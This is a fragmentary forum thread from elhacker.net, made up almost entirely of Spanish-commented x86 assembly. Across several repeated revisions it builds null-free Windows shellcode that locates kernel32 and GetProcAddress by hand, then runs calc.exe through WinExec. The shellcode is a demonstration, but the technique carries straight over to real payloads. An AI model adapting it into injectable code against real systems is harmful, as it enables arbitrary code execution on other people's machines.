Foro de elhacker.net

 sub esp, 0bh ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-08h], 57h  ; 'W'
   mov byte ptr [ebp-07h], 69h  ; 'i'
   mov byte ptr [ebp-06h], 6eh  ; 'n'
   mov byte ptr [ebp-05h], 45h  ; 'E'
   mov byte ptr [ebp-04h], 78h  ; 'x'
   mov byte ptr [ebp-03h], 65h  ; 'e'
   mov byte ptr [ebp-02h], 63h  ; 'c'
   mov byte ptr [ebp-01h], dl   ; 0x00
   lea ecx, [ebp-08h]	; cargamos la direccion que apunta a nuestra cadena
   push ecx
   push esi       ;dirección base de kernel32
   call eax 		; llamamos a getprocadress

   push 636578h      ;incluye un 00 al inicio automaticamente (que es el nulo del final de la cadena)
   push 456e6957h		;caracteres de winexec en sentido contrario
   mov ecx,esp
   push ecx
   push esi       ;dirección base de kernel32
   mov ebx,eax
   call eax 		; llamamos a getprocaddress

push 0xAABBCCDD ;Caracteres xoreados con nMagic para quitar 00s
xor [esp], nMagic ;Vuelves a xorear para dejar como estaba

   push 636578h      ;incluye un 00 al inicio automaticamente (que es el nulo del final de la cadena)
   push 456e6957h		;caracteres de winexec en sentido contrario

   xor ecx,ecx     ;necesitamos mandar el nulo (en este caso mandamos 4 ya que mandamos el ecx entero)
   push ecx
   push 6578652Eh		;caracteres de calc.exe
   push 636C6163h
   mov ecx,esp

   push 00737365h       ;caracteres de exitprocess
   push 636f7250h
   push 74697845h
   mov ecx,esp

.386
.model flat, stdcall  ;32 bit memory model
option casemap :none  ;case sensitive
assume fs:nothing

.code
start:

; ******************************************
; Buscamos la dirección base de kernel32.dll
; ******************************************
      xor ebx, ebx    ;utilizamos ebx en lugar de eax porque con eax salen caracteres nulos. Al final movemos ebx -> eax para tenerloigual que antes.
      mov ebx, fs:[ebx+30h] 
      mov ebx, [ebx+0Ch] 
      mov ebx, [ebx+1Ch] 
      mov ebx, [ebx]  
      mov ebx, [ebx] 
      mov ebx, [ebx+08h]
      mov eax, ebx
      push eax		; guardamos en la pila la direccion base de kernel32.dll

; ***********************************************************************
; Buscamos la direccion de GetProcAddress dada la direccion base de kernel32.dll
; ***********************************************************************
busca_funcion:
   mov esi, [esp]	; puntero a la direccion base
   add esi, [esi+03Ch]	; puntero a PE signature
   mov edx, [esi+078h]	; puntero a la Export table
   add edx, [esp]	; sumamos la direccion base

   mov ecx, edx		; esto evita meter el 20h (un espacio) que nos corta la shellcode
   add ecx, 1fh
   inc ecx
   mov ebx, [ecx]	; puntero al array AddressOfNames
   add ebx, [esp]
   xor eax, eax		; indice de AddressOfNames	

bucle_funcion:		; buscamos la funcion a partir de la direccion base
   mov edi, [ebx]
   add edi, [esp]

   ; como ya no usamos el segmento .data, comparamos directamente el nombre de
   ; la libreria y para ello la introducimos al reves. Ademas, al ser 7 bytes,
   ; tenemos que separar en un dword, un word y un byte, para que no nos coja
   ; ningun caracter nulo
   cmp dword ptr [edi], 50746547h	
   jnz funcion_no_encontrada
   cmp dword ptr [edi + 4], 41636f72h	
   jnz funcion_no_encontrada
   cmp dword ptr [edi + 8], 65726464h
   jnz funcion_no_encontrada
   cmp word ptr [edi + 12], 7373h
   je funcion_encontrada
   
funcion_no_encontrada:
   nop				; ponemos un NOP aqui porque tras depurar con el Olly
					; vi que usaba \x09 (tabulador) y me rompia la shellcode
					; de esta forma amplio el salto en un byte y en lugar de 
					; 09 pondra 0A
   add ebx, 4
   inc eax
   cmp eax, dword ptr [edx+18h]
   jnz bucle_funcion

funcion_encontrada:
   mov esi, dword ptr [edx + 24h] 	; puntero a la tabla de ordinales
   add esi, [esp]		 	; añadimos la direccion base
   xor ecx, ecx
   mov cx, word ptr [esi + 2 * eax] 	; cx = numero de la funcion que se ha encontrado
   mov edi, dword ptr [edx + 1ch] 	; puntero a la tabla de direcciones
   add edi, [esp]		 	; añadimos la direccion base
   mov eax, dword ptr [edi + 4 * ecx] 	; puntero a la función encontrada
   add eax, [esp]			; añadimos la direccion base y tenemos la direccion de getprocadress en eax
   
; ******************************************************************************************************************************************
; programa principal
; ******************************************************************************************************************************************

   mov esi, [esp];************************************************************obtener dirección de winexec**********************************
   xor dl, dl
   sub esp, 0bh ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-08h], 57h  ; 'W'
   mov byte ptr [ebp-07h], 69h  ; 'i'
   mov byte ptr [ebp-06h], 6eh  ; 'n'
   mov byte ptr [ebp-05h], 45h  ; 'E'
   mov byte ptr [ebp-04h], 78h  ; 'x'
   mov byte ptr [ebp-03h], 65h  ; 'e'
   mov byte ptr [ebp-02h], 63h  ; 'c'
   mov byte ptr [ebp-01h], dl   ; 0x00
   lea ecx, [ebp-08h]	; cargamos la direccion que apunta a nuestra cadena
   push ecx
   push esi       ;dirección base de kernel32
   mov ebx,eax
   call eax 		; llamamos a getprocadress
   
   xor dl, dl;******************************************************************ejecutar winexec(calc.exe)*********************************
   sub esp, 11h ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-09h], 63h  ; 'c'
   mov byte ptr [ebp-08h], 61h  ; 'a'
   mov byte ptr [ebp-07h], 6Ch  ; 'l'
   mov byte ptr [ebp-06h], 63h  ; 'c'
   mov byte ptr [ebp-05h], 2Eh  ; '.'
   mov byte ptr [ebp-04h], 65h  ; 'e'
   mov byte ptr [ebp-03h], 78h  ; 'x'
   mov byte ptr [ebp-02h], 65h  ; 'e'
   mov byte ptr [ebp-01h], dl   ; 0x00
   lea ecx, [ebp-09h]	; cargamos la direccion que apunta a nuestra cadena
   push 5   ;parametro de winexec (show)
   push ecx
   call eax    ;llamamos a winexec

   xor dl, dl;******************************************************************salir del programa con exitprocess*************************
   sub esp, 20h ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-12h], 45h  ; 'E'
   mov byte ptr [ebp-11h], 78h  ; 'x'
   mov byte ptr [ebp-10h], 69h  ; 'i'
   mov byte ptr [ebp-0fh], 74h  ; 't'
   mov byte ptr [ebp-0eh], 50h  ; 'P'
   mov byte ptr [ebp-0dh], 72h  ; 'r'
   mov byte ptr [ebp-0ch], 6fh  ; 'o'
   mov byte ptr [ebp-0bh], 63h  ; 'c'
   mov byte ptr [ebp-0ah], 65h   ; 'e'
   mov byte ptr [ebp-09h], 73h   ; 's'
   mov byte ptr [ebp-08h], 73h   ; 's'
   mov byte ptr [ebp-07h], dl   ; '0'
   lea ecx, [ebp-12h]	; cargamos la direccion que apunta a nuestra cadena
   push ecx
   push esi       ;dirección base de kernel32
   call ebx 		; llamamos a getprocadress
                    ;obtenemos direccion de exitprocess
   xor ecx, ecx
   push ecx
   call eax        ;llamamos a exitprocess
  
end start

;ml -c -coff -Cp c:\shellcodes\shellcode.asm
;link /SUBSYSTEM:WINDOWS shellcode.obj

.386
.model flat, stdcall  ;32 bit memory model
option casemap :none  ;case sensitive
assume fs:nothing

.code
start:

; ******************************************
; Buscamos la dirección base de kernel32.dll
; ******************************************
      xor ebx, ebx    ;utilizamos ebx en lugar de eax porque con eax salen caracteres nulos. Al final movemos ebx -> eax para tenerloigual que antes.
      mov ebx, fs:[ebx+30h] 
      mov ebx, [ebx+0Ch] 
      mov ebx, [ebx+1Ch] 
      mov ebx, [ebx]  
      mov ebx, [ebx] 
      mov ebx, [ebx+08h]
      mov eax, ebx
      push eax		; guardamos en la pila la direccion base de kernel32.dll

; ***********************************************************************
; Buscamos la direccion de GetProcAddress dada la direccion base de kernel32.dll
; ***********************************************************************
busca_funcion:
   mov esi, [esp]	; puntero a la direccion base
   add esi, [esi+03Ch]	; puntero a PE signature
   mov edx, [esi+078h]	; puntero a la Export table
   add edx, [esp]	; sumamos la direccion base

   mov ecx, edx		; esto evita meter el 20h (un espacio) que nos corta la shellcode
   add ecx, 1fh
   inc ecx
   mov ebx, [ecx]	; puntero al array AddressOfNames
   add ebx, [esp]
   xor eax, eax		; indice de AddressOfNames	

bucle_funcion:		; buscamos la funcion a partir de la direccion base
   mov edi, [ebx]
   add edi, [esp]

   ; como ya no usamos el segmento .data, comparamos directamente el nombre de
   ; la libreria y para ello la introducimos al reves. Ademas, al ser 7 bytes,
   ; tenemos que separar en un dword, un word y un byte, para que no nos coja
   ; ningun caracter nulo
   cmp dword ptr [edi], 50746547h	
   jnz funcion_no_encontrada
   cmp dword ptr [edi + 4], 41636f72h	
   jnz funcion_no_encontrada
   cmp dword ptr [edi + 8], 65726464h
   jnz funcion_no_encontrada
   cmp word ptr [edi + 12], 7373h
   je funcion_encontrada
   
funcion_no_encontrada:
   nop				; ponemos un NOP aqui porque tras depurar con el Olly
					; vi que usaba \x09 (tabulador) y me rompia la shellcode
					; de esta forma amplio el salto en un byte y en lugar de 
					; 09 pondra 0A
   add ebx, 4
   inc eax
   cmp eax, dword ptr [edx+18h]
   jnz bucle_funcion

funcion_encontrada:
   mov esi, dword ptr [edx + 24h] 	; puntero a la tabla de ordinales
   add esi, [esp]		 	; añadimos la direccion base
   xor ecx, ecx
   mov cx, word ptr [esi + 2 * eax] 	; cx = numero de la funcion que se ha encontrado
   mov edi, dword ptr [edx + 1ch] 	; puntero a la tabla de direcciones
   add edi, [esp]		 	; añadimos la direccion base
   mov eax, dword ptr [edi + 4 * ecx] 	; puntero a la función encontrada
   add eax, [esp]			; añadimos la direccion base y tenemos la direccion de getprocadress en eax
   
; ******************************************************************************************************************************************
; programa principal
; ******************************************************************************************************************************************

   mov esi, [esp];************************************************************obtener dirección de winexec**********************************
   push ebp
   mov ebp, esp
   xor ecx,ecx
   xor dl, dl
   sub esp, 08h ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-08h], 57h  ; 'W'
   mov byte ptr [ebp-07h], 69h  ; 'i'
   mov byte ptr [ebp-06h], 6eh  ; 'n'
   mov byte ptr [ebp-05h], 45h  ; 'E'
   mov byte ptr [ebp-04h], 78h  ; 'x'
   mov byte ptr [ebp-03h], 65h  ; 'e'
   mov byte ptr [ebp-02h], 63h  ; 'c'
   mov byte ptr [ebp-01h], dl   ; 0x00
   lea ecx, dword ptr [ebp-08h]	; cargamos la direccion que apunta a nuestra cadena
   mov ebx,eax     ;movemos getprocadress a ebx porque al volver del call se sobreescribe eax
   push ecx
   push esi       ;dirección base de kernel32
   call eax 		; llamamos a getprocadress
   add esp, 08h
   pop ebp
 
   push ebp;******************************************************************ejecutar winexec(calc.exe)*********************************
   mov ebp, esp
   xor ecx,ecx
   xor dl, dl
   sub esp, 09h ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-09h], 63h  ; 'c'
   mov byte ptr [ebp-08h], 61h  ; 'a'
   mov byte ptr [ebp-07h], 6Ch  ; 'l'
   mov byte ptr [ebp-06h], 63h  ; 'c'
   mov byte ptr [ebp-05h], 2Eh  ; '.'
   mov byte ptr [ebp-04h], 65h  ; 'e'
   mov byte ptr [ebp-03h], 78h  ; 'x'
   mov byte ptr [ebp-02h], 65h  ; 'e'
   mov byte ptr [ebp-01h], dl   ; 0x00
   lea ecx, dword ptr [ebp-09h]	; cargamos la direccion que apunta a nuestra cadena
   push 5   ;parametro de winexec (show)
   push ecx
   call eax    ;llamamos a winexec
   add esp, 09h
   pop ebp
 
   push ebp;******************************************************************salir del programa con exitprocess*************************
   mov ebp, esp
   xor ecx,ecx
   xor dl, dl
   sub esp, 0ch ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-0ch], 45h  ; 'E'
   mov byte ptr [ebp-0bh], 78h  ; 'x'
   mov byte ptr [ebp-0ah], 69h  ; 'i'
   mov byte ptr [ebp-09h], 74h  ; 't'
   mov byte ptr [ebp-08h], 50h  ; 'P'
   mov byte ptr [ebp-07h], 72h  ; 'r'
   mov byte ptr [ebp-06h], 6fh  ; 'o'
   mov byte ptr [ebp-05h], 63h  ; 'c'
   mov byte ptr [ebp-04h], 65h   ; 'e'
   mov byte ptr [ebp-03h], 73h   ; 's'
   mov byte ptr [ebp-02h], 73h   ; 's'
   mov byte ptr [ebp-01h], dl   ; '0'
   lea ecx, dword ptr [ebp-0ch]	; cargamos la direccion que apunta a nuestra cadena
   push ecx
   push esi       ;dirección base de kernel32
   call ebx 		; llamamos a getprocadress
                    ;obtenemos direccion de exitprocess
   xor ecx, ecx
   push ecx
   call eax        ;llamamos a exitprocess
	add esp, 0ch
	pop ebp
 
end start

;ml -c -coff -Cp c:\shellcodes\shellcode_pila_balanceada.asm
;link /SUBSYSTEM:WINDOWS shellcode_pila_balanceada.obj

    push ebp
   mov ebp, esp
   xor ecx,ecx
   xor dl, dl
   sub esp, 08h ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-08h], 57h  ; 'W'
   mov byte ptr [ebp-07h], 69h  ; 'i'
   mov byte ptr [ebp-06h], 6eh  ; 'n'
   mov byte ptr [ebp-05h], 45h  ; 'E'
   mov byte ptr [ebp-04h], 78h  ; 'x'
   mov byte ptr [ebp-03h], 65h  ; 'e'
   mov byte ptr [ebp-02h], 63h  ; 'c'
   mov byte ptr [ebp-01h], dl   ; 0x00
   lea ecx, dword ptr [ebp-08h]	; cargamos la direccion que apunta a nuestra cadena
   mov ebx,eax     ;movemos getprocadress a ebx porque al volver del call se sobreescribe eax
   push ecx
   push esi       ;dirección base de kernel32
   call eax 		; llamamos a getprocadress
   add esp, 08h
   pop ebp

   mov esi, [esp]
   push ebp
   mov ebp, esp
   xor ecx,ecx
   xor dl, dl
   sub esp, 07h ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-07h], 57h  ; 'W'
   mov byte ptr [ebp-06h], 69h  ; 'i'
   mov byte ptr [ebp-05h], 6eh  ; 'n'
   mov byte ptr [ebp-04h], 45h  ; 'E'
   mov byte ptr [ebp-03h], 78h  ; 'x'
   mov byte ptr [ebp-02h], 65h  ; 'e'
   mov byte ptr [ebp-01h], 63h  ; 'c'
   mov byte ptr [ebp-00h], dl   ; 0x00
   lea ecx, dword ptr [ebp-07h]	
   mov ebx,eax     
   push ecx
   push esi       ;dirección base de kernel32
   call eax 		; llamamos a getprocadress
   add esp, 07h
   pop ebp